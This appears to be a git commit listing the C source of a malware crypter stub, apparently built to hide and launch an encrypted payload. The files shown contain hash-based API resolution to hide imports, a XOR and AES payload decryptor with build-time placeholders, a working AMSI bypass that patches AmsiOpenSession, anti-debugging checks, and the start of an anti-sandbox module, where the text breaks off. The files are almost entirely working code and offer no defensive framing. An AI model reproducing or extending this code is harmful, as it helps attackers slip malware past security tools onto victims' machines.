initial commit

This commit is contained in:
i2p
2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
+245
View File
@@ -0,0 +1,245 @@
/**
* api_resolve.c -- PEB walking + PE export table hash resolution
*
* Resolves Win32 API addresses at runtime via DJB2 hash comparison,
* eliminating suspicious imports from the IAT. Hash seed and constants
* are patched per-build by the polymorph engine.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */
typedef struct _AR_LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID DllBase;
LPVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY;
typedef struct _AR_PEB_LDR_DATA {
DWORD Length;
DWORD Initialized;
LPVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA;
typedef struct _AR_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2;
#ifdef _WIN64
BYTE Reserved3[4];
#endif
LPVOID Reserved4[2];
PAR_PEB_LDR_DATA Ldr;
} AR_PEB, *PAR_PEB;
/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */
#define API_HASH_SEED 0xDEADBEEF
/* ── Global API table ──────────────────────────────────────────── */
ApiTable g_api;
/* ── Hash functions ────────────────────────────────────────────── */
static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) {
DWORD hash = API_HASH_SEED;
USHORT count = len_bytes / sizeof(WCHAR);
for (USHORT i = 0; i < count; i++) {
WCHAR c = str[i];
if (c >= L'A' && c <= L'Z') c += 0x20;
hash = hash * 33 + (DWORD)c;
}
return hash;
}
static DWORD djb2_hash_ascii(const char *str) {
DWORD hash = API_HASH_SEED;
while (*str) {
hash = hash * 33 + (unsigned char)*str;
str++;
}
return hash;
}
/* ── PEB walking: find module base by hash ─────────────────────── */
static void *peb_get_module(DWORD hash) {
#ifdef _WIN64
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr;
#else
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr;
#endif
PAR_LDR_DATA_TABLE_ENTRY first =
(PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
PAR_LDR_DATA_TABLE_ENTRY entry = first;
do {
if (entry->BaseDllName.Buffer) {
DWORD h = djb2_hash_wide_lower(
entry->BaseDllName.Buffer,
entry->BaseDllName.Length
);
if (h == hash) return entry->DllBase;
}
} while ((entry = (PAR_LDR_DATA_TABLE_ENTRY)
entry->InMemoryOrderModuleList.Flink) != first);
return NULL;
}
/* ── PE export table walking: find export by hash ──────────────── */
static void *peb_get_proc(void *base, DWORD hash) {
if (!base) return NULL;
LPBYTE mod = (LPBYTE)base;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(
mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);
DWORD *names = (DWORD *)(mod + exports->AddressOfNames);
WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
const char *name = (const char *)(mod + names[i]);
if (djb2_hash_ascii(name) == hash) {
return mod + funcs[ordinals[i]];
}
}
return NULL;
}
/* ── Combined resolver (internal) ──────────────────────────────── */
static void *resolve_api(DWORD mod_hash, DWORD fn_hash) {
void *mod = peb_get_module(mod_hash);
if (!mod) return NULL;
return peb_get_proc(mod, fn_hash);
}
/* ── Public: lazy resolution for one-off lookups ───────────────── */
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) {
return resolve_api(mod_hash, fn_hash);
}
/* ── Init: resolve all APIs into global table ──────────────────── */
void api_resolve_init(void) {
/* Module bases */
g_api.ntdll_base = peb_get_module(HASH_NTDLL);
g_api.kernel32_base = peb_get_module(HASH_KERNEL32);
/* ntdll */
g_api.pNtUnmapViewOfSection =
(fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection);
g_api.pNtQueryInformationProcess =
(fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess);
/* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */
g_api.pLoadLibraryA =
(fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA);
g_api.pCreateProcessW =
(fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW);
g_api.pGetThreadContext =
(fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext);
g_api.pSetThreadContext =
(fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext);
g_api.pResumeThread =
(fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread);
g_api.pTerminateProcess =
(fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess);
g_api.pReadProcessMemory =
(fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory);
g_api.pWriteProcessMemory =
(fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory);
g_api.pVirtualAllocEx =
(fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx);
g_api.pVirtualAlloc =
(fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc);
g_api.pVirtualProtect =
(fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect);
g_api.pVirtualFree =
(fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree);
g_api.pCreateThread =
(fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread);
g_api.pWaitForSingleObject =
(fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject);
g_api.pCloseHandle =
(fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle);
g_api.pExitProcess =
(fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess);
g_api.pSleep =
(fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep);
g_api.pGetTickCount64 =
(fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64);
g_api.pGlobalMemoryStatusEx =
(fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx);
g_api.pGetSystemInfo =
(fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo);
g_api.pIsDebuggerPresent =
(fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent);
g_api.pGetCurrentProcess =
(fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess);
g_api.pQueryPerformanceFrequency =
(fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency);
g_api.pQueryPerformanceCounter =
(fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter);
g_api.pGetSystemDirectoryA =
(fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA);
g_api.plstrcatA =
(fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA);
g_api.pCreateFileA =
(fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA);
g_api.pGetFileSize =
(fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize);
g_api.pCreateFileMappingA =
(fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA);
g_api.pMapViewOfFile =
(fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile);
g_api.pUnmapViewOfFile =
(fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile);
g_api.pConvertThreadToFiber =
(fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber);
g_api.pCreateFiber =
(fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber);
g_api.pSwitchToFiber =
(fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber);
g_api.pDeleteFiber =
(fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber);
g_api.pFlushInstructionCache =
(fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache);
/* advapi32 — may not be loaded yet, use LoadLibraryA fallback */
void *advapi32 = peb_get_module(HASH_ADVAPI32);
if (!advapi32 && g_api.pLoadLibraryA) {
advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll");
}
g_api.pRegOpenKeyExA =
(fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA);
g_api.pRegCloseKey =
(fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey);
/* user32 — may not be loaded yet, use LoadLibraryA fallback */
void *user32 = peb_get_module(HASH_USER32);
if (!user32 && g_api.pLoadLibraryA) {
user32 = (void *)g_api.pLoadLibraryA("user32.dll");
}
g_api.pGetCursorPos =
(fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos);
}
+185
View File
@@ -0,0 +1,185 @@
#ifndef API_RESOLVE_H
#define API_RESOLVE_H
#include <windows.h>
#include <winternl.h>
/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */
#define HASH_NTDLL 0xDEADBEEF
#define HASH_KERNEL32 0xDEADBEEF
#define HASH_ADVAPI32 0xDEADBEEF
#define HASH_USER32 0xDEADBEEF
#define HASH_AMSI 0xDEADBEEF
/* ── Function hash constants ───────────────────────────────────── */
/* ntdll.dll */
#define HASH_NtUnmapViewOfSection 0xDEADBEEF
#define HASH_NtQueryInformationProcess 0xDEADBEEF
/* kernel32.dll */
#define HASH_LoadLibraryA 0xDEADBEEF
#define HASH_CreateProcessW 0xDEADBEEF
#define HASH_GetThreadContext 0xDEADBEEF
#define HASH_SetThreadContext 0xDEADBEEF
#define HASH_ResumeThread 0xDEADBEEF
#define HASH_TerminateProcess 0xDEADBEEF
#define HASH_ReadProcessMemory 0xDEADBEEF
#define HASH_WriteProcessMemory 0xDEADBEEF
#define HASH_VirtualAllocEx 0xDEADBEEF
#define HASH_VirtualAlloc 0xDEADBEEF
#define HASH_VirtualProtect 0xDEADBEEF
#define HASH_VirtualFree 0xDEADBEEF
#define HASH_CreateThread 0xDEADBEEF
#define HASH_WaitForSingleObject 0xDEADBEEF
#define HASH_CloseHandle 0xDEADBEEF
#define HASH_ExitProcess 0xDEADBEEF
#define HASH_Sleep 0xDEADBEEF
#define HASH_GetTickCount64 0xDEADBEEF
#define HASH_GlobalMemoryStatusEx 0xDEADBEEF
#define HASH_GetSystemInfo 0xDEADBEEF
#define HASH_IsDebuggerPresent 0xDEADBEEF
#define HASH_GetCurrentProcess 0xDEADBEEF
#define HASH_QueryPerformanceFrequency 0xDEADBEEF
#define HASH_QueryPerformanceCounter 0xDEADBEEF
#define HASH_GetSystemDirectoryA 0xDEADBEEF
#define HASH_lstrcatA 0xDEADBEEF
#define HASH_CreateFileA 0xDEADBEEF
#define HASH_GetFileSize 0xDEADBEEF
#define HASH_CreateFileMappingA 0xDEADBEEF
#define HASH_MapViewOfFile 0xDEADBEEF
#define HASH_UnmapViewOfFile 0xDEADBEEF
/* advapi32.dll */
#define HASH_RegOpenKeyExA 0xDEADBEEF
#define HASH_RegCloseKey 0xDEADBEEF
/* user32.dll */
#define HASH_GetCursorPos 0xDEADBEEF
/* Fiber APIs (kernel32) */
#define HASH_ConvertThreadToFiber 0xDEADBEEF
#define HASH_CreateFiber 0xDEADBEEF
#define HASH_SwitchToFiber 0xDEADBEEF
#define HASH_DeleteFiber 0xDEADBEEF
#define HASH_FlushInstructionCache 0xDEADBEEF
/* Lazy-resolved (not in ApiTable struct) */
#define HASH_EtwEventWrite 0xDEADBEEF
#define HASH_AmsiOpenSession 0xDEADBEEF
/* ── Function pointer typedefs ─────────────────────────────────── */
/* ntdll */
typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID);
typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
/* kernel32 */
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT);
typedef BOOL (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*);
typedef DWORD (WINAPI *fn_ResumeThread)(HANDLE);
typedef BOOL (WINAPI *fn_TerminateProcess)(HANDLE, UINT);
typedef BOOL (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
typedef BOOL (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef LPVOID (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
typedef void (WINAPI *fn_ExitProcess)(UINT);
typedef void (WINAPI *fn_Sleep)(DWORD);
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
typedef BOOL (WINAPI *fn_IsDebuggerPresent)(void);
typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void);
typedef BOOL (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*);
typedef BOOL (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*);
typedef UINT (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT);
typedef LPSTR (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR);
typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
typedef HANDLE (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedef LPVOID (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedef BOOL (WINAPI *fn_UnmapViewOfFile)(LPCVOID);
typedef LPVOID (WINAPI *fn_ConvertThreadToFiber)(LPVOID);
typedef LPVOID (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
typedef void (WINAPI *fn_SwitchToFiber)(LPVOID);
typedef void (WINAPI *fn_DeleteFiber)(LPVOID);
typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
/* advapi32 */
typedef LONG (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
typedef LONG (WINAPI *fn_RegCloseKey)(HKEY);
/* user32 */
typedef BOOL (WINAPI *fn_GetCursorPos)(LPPOINT);
/* ── API table struct ──────────────────────────────────────────── */
typedef struct _ApiTable {
/* Module bases */
void *ntdll_base;
void *kernel32_base;
/* ntdll */
fn_NtUnmapViewOfSection pNtUnmapViewOfSection;
fn_NtQueryInformationProcess pNtQueryInformationProcess;
/* kernel32 */
fn_LoadLibraryA pLoadLibraryA;
fn_CreateProcessW pCreateProcessW;
fn_GetThreadContext pGetThreadContext;
fn_SetThreadContext pSetThreadContext;
fn_ResumeThread pResumeThread;
fn_TerminateProcess pTerminateProcess;
fn_ReadProcessMemory pReadProcessMemory;
fn_WriteProcessMemory pWriteProcessMemory;
fn_VirtualAllocEx pVirtualAllocEx;
fn_VirtualAlloc pVirtualAlloc;
fn_VirtualProtect pVirtualProtect;
fn_VirtualFree pVirtualFree;
fn_CreateThread pCreateThread;
fn_WaitForSingleObject pWaitForSingleObject;
fn_CloseHandle pCloseHandle;
fn_ExitProcess pExitProcess;
fn_Sleep pSleep;
fn_GetTickCount64 pGetTickCount64;
fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx;
fn_GetSystemInfo pGetSystemInfo;
fn_IsDebuggerPresent pIsDebuggerPresent;
fn_GetCurrentProcess pGetCurrentProcess;
fn_QueryPerformanceFrequency pQueryPerformanceFrequency;
fn_QueryPerformanceCounter pQueryPerformanceCounter;
fn_GetSystemDirectoryA pGetSystemDirectoryA;
fn_lstrcatA plstrcatA;
fn_CreateFileA pCreateFileA;
fn_GetFileSize pGetFileSize;
fn_CreateFileMappingA pCreateFileMappingA;
fn_MapViewOfFile pMapViewOfFile;
fn_UnmapViewOfFile pUnmapViewOfFile;
fn_ConvertThreadToFiber pConvertThreadToFiber;
fn_CreateFiber pCreateFiber;
fn_SwitchToFiber pSwitchToFiber;
fn_DeleteFiber pDeleteFiber;
fn_FlushInstructionCache pFlushInstructionCache;
/* advapi32 */
fn_RegOpenKeyExA pRegOpenKeyExA;
fn_RegCloseKey pRegCloseKey;
/* user32 */
fn_GetCursorPos pGetCursorPos;
} ApiTable;
extern ApiTable g_api;
void api_resolve_init(void);
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash);
#endif /* API_RESOLVE_H */
+166
View File
@@ -0,0 +1,166 @@
/**
* decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
*
* Layered decryption:
* 1. XOR decrypt with embedded 32-byte key
* 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
*
* Keys, IV, and payload are patched in by the crypter engine at build time.
*/
#include <windows.h>
#include <bcrypt.h>
#include <stdint.h>
#include <string.h>
#pragma comment(lib, "bcrypt")
/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */
/* CRYPTER_KEY_MASK_PLACEHOLDER */
static const uint8_t KEY_MASK[32] = { 0 };
/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
static const uint8_t XOR_KEY_ENC[32] = { 0 };
/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
static const uint8_t AES_KEY_ENC[32] = { 0 };
/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
static const uint8_t AES_IV_ENC[16] = { 0 };
/* CRYPTER_PAYLOAD_PLACEHOLDER */
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };
/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
static const uint32_t PAYLOAD_LEN = 0;
/* ── XOR layer ─────────────────────────────────────────────────────── */
static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
for (uint32_t i = 0; i < len; i++) {
data[i] ^= key[i % key_len];
}
}
/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */
static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
const uint8_t *key, const uint8_t *iv,
uint8_t *plaintext, uint32_t *pt_len) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
ULONG result_len = 0;
DWORD key_obj_size = 0;
ULONG data_size = 0;
uint8_t *key_obj = NULL;
uint8_t iv_copy[16];
int ret = 0;
/* Open AES provider */
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status)) return 0;
/* Set CBC mode */
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
/* Get key object size */
status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PUCHAR)&key_obj_size, sizeof(key_obj_size),
&data_size, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
if (!key_obj) goto cleanup;
/* Generate symmetric key */
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
(PUCHAR)key, 32, 0);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
/* BCryptDecrypt modifies the IV buffer in-place, so copy it */
memcpy(iv_copy, iv, 16);
/* Decrypt */
status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
if (!BCRYPT_SUCCESS(status)) goto cleanup;
*pt_len = result_len;
ret = 1;
cleanup:
if (hKey) BCryptDestroyKey(hKey);
if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
return ret;
}
/* ── Public API ────────────────────────────────────────────────────── */
/**
* Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
*/
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
for (uint32_t i = 0; i < len; i++) {
out[i] = enc[i] ^ mask[i % 32];
}
}
/**
* Decrypt the embedded payload. Caller must HeapFree the returned buffer.
* Returns NULL on failure.
*/
uint8_t *decrypt_payload(uint32_t *out_len) {
/* Derive keys on the stack from masked storage */
volatile uint8_t xor_key[32];
volatile uint8_t aes_key[32];
volatile uint8_t aes_iv[16];
derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32);
derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32);
derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16);
/* Copy encrypted payload to writable buffer for XOR pass */
uint32_t enc_len = PAYLOAD_LEN;
uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
if (!buf) goto wipe_keys;
memcpy(buf, ENCRYPTED_PAYLOAD, enc_len);
/* Layer 1: XOR */
xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32);
/* Layer 2: AES-256-CBC */
uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len);
if (!plaintext) {
HeapFree(GetProcessHeap(), 0, buf);
goto wipe_keys;
}
uint32_t pt_len = 0;
if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) {
HeapFree(GetProcessHeap(), 0, buf);
HeapFree(GetProcessHeap(), 0, plaintext);
goto wipe_keys;
}
HeapFree(GetProcessHeap(), 0, buf);
/* Wipe derived keys from stack */
SecureZeroMemory((void *)xor_key, 32);
SecureZeroMemory((void *)aes_key, 32);
SecureZeroMemory((void *)aes_iv, 16);
*out_len = pt_len;
return plaintext;
wipe_keys:
SecureZeroMemory((void *)xor_key, 32);
SecureZeroMemory((void *)aes_key, 32);
SecureZeroMemory((void *)aes_iv, 16);
return NULL;
}
+13
View File
@@ -0,0 +1,13 @@
#ifndef DECRYPT_LAYER_H
#define DECRYPT_LAYER_H
#include <stdint.h>
/**
* Decrypt the embedded payload using XOR + AES-256-CBC.
* Caller must HeapFree() the returned buffer.
* Returns NULL on failure.
*/
uint8_t *decrypt_payload(uint32_t *out_len);
#endif /* DECRYPT_LAYER_H */
+53
View File
@@ -0,0 +1,53 @@
#ifndef EVASION_H
#define EVASION_H
/* Each evasion module provides a single init function.
* The crypter engine defines EVASION_xxx macros to enable/disable each one.
* stub_main.c calls evasion_init_all() which conditionally invokes them. */
#ifdef EVASION_ANTI_SANDBOX
void evasion_anti_sandbox_init(void);
#endif
#ifdef EVASION_ANTI_DEBUG
void evasion_anti_debug_init(void);
#endif
#ifdef EVASION_UNHOOK_NTDLL
void evasion_unhook_init(void);
#endif
#ifdef EVASION_AMSI_BYPASS
void evasion_amsi_init(void);
#endif
#ifdef EVASION_ETW_PATCH
void evasion_etw_init(void);
#endif
#ifdef EVASION_DELAYED_EXEC
void evasion_sleep_init(void);
#endif
static inline void evasion_init_all(void) {
#ifdef EVASION_DELAYED_EXEC
evasion_sleep_init();
#endif
#ifdef EVASION_ANTI_SANDBOX
evasion_anti_sandbox_init();
#endif
#ifdef EVASION_ANTI_DEBUG
evasion_anti_debug_init();
#endif
#ifdef EVASION_UNHOOK_NTDLL
evasion_unhook_init();
#endif
#ifdef EVASION_AMSI_BYPASS
evasion_amsi_init();
#endif
#ifdef EVASION_ETW_PATCH
evasion_etw_init();
#endif
}
#endif /* EVASION_H */
+37
View File
@@ -0,0 +1,37 @@
/**
* evasion_amsi.c — AMSI bypass
*
* Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately,
* preventing AMSI from scanning any buffers in the current process.
*/
#include <windows.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_AMSI_BYPASS
void evasion_amsi_init(void) {
/* Load amsi.dll — may not be loaded yet in the process */
HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll");
if (!hAmsi) return;
/* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */
FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession);
if (!pFunc) return;
/* Patch: make the function return E_INVALIDARG (0x80070057)
* x64 patch: mov eax, 0x80070057; ret
* B8 57 00 07 80 C3
*/
uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
DWORD old_protect;
if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) {
memcpy((LPVOID)pFunc, patch, sizeof(patch));
g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect);
}
}
#endif /* EVASION_AMSI_BYPASS */
+86
View File
@@ -0,0 +1,86 @@
/**
* evasion_anti_debug.c — Anti-debugging checks
*
* Checks:
* 1. IsDebuggerPresent()
* 2. NtQueryInformationProcess (ProcessDebugPort)
* 3. Timing check (RDTSC delta)
* 4. NtGlobalFlag in PEB
*
* If a debugger is detected, calls ExitProcess(0) silently.
*/
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include "api_resolve.h"
#ifdef EVASION_ANTI_DEBUG
static void exit_if_debugged(void) {
g_api.pExitProcess(0);
}
/* Basic API check */
static void check_is_debugger_present(void) {
if (g_api.pIsDebuggerPresent()) {
exit_if_debugged();
}
}
/* NtQueryInformationProcess — ProcessDebugPort (class 7) */
static void check_debug_port(void) {
if (!g_api.pNtQueryInformationProcess) return;
DWORD_PTR debug_port = 0;
NTSTATUS status = g_api.pNtQueryInformationProcess(
g_api.pGetCurrentProcess(), 7 /* ProcessDebugPort */,
&debug_port, sizeof(debug_port), NULL);
if (status == 0 && debug_port != 0) {
exit_if_debugged();
}
}
/* Timing check: debugger single-stepping causes large RDTSC deltas */
static void check_timing(void) {
LARGE_INTEGER freq, t1, t2;
if (!g_api.pQueryPerformanceFrequency(&freq)) return;
g_api.pQueryPerformanceCounter(&t1);
/* Do some trivial work */
volatile int x = 0;
for (int i = 0; i < 100; i++) x += i;
g_api.pQueryPerformanceCounter(&t2);
/* If more than 500ms elapsed for trivial work, likely being debugged */
double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) / freq.QuadPart * 1000.0;
if (elapsed_ms > 500.0) {
exit_if_debugged();
}
}
/* NtGlobalFlag in PEB — set when process is created under a debugger */
static void check_nt_global_flag(void) {
#ifdef _WIN64
/* PEB is at GS:[0x60], NtGlobalFlag at offset 0xBC */
PPEB peb = (PPEB)__readgsqword(0x60);
DWORD flags = *(DWORD *)((uint8_t *)peb + 0xBC);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
DWORD flags = *(DWORD *)((uint8_t *)peb + 0x68);
#endif
/* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS */
if (flags & 0x70) {
exit_if_debugged();
}
}
void evasion_anti_debug_init(void) {
check_is_debugger_present();
check_debug_port();
check_timing();
check_nt_global_flag();
}
#endif /* EVASION_ANTI_DEBUG */
+103
View File
@@ -0,0 +1,103 @@
/**
* evasion_anti_sandbox.c — Anti-sandbox / anti-VM checks
*
* Checks:
* 1. Sleep acceleration detection (sleep 1s, check elapsed >= 900ms)
* 2. Physical RAM >= 2 GB
* 3. CPU core count >= 2
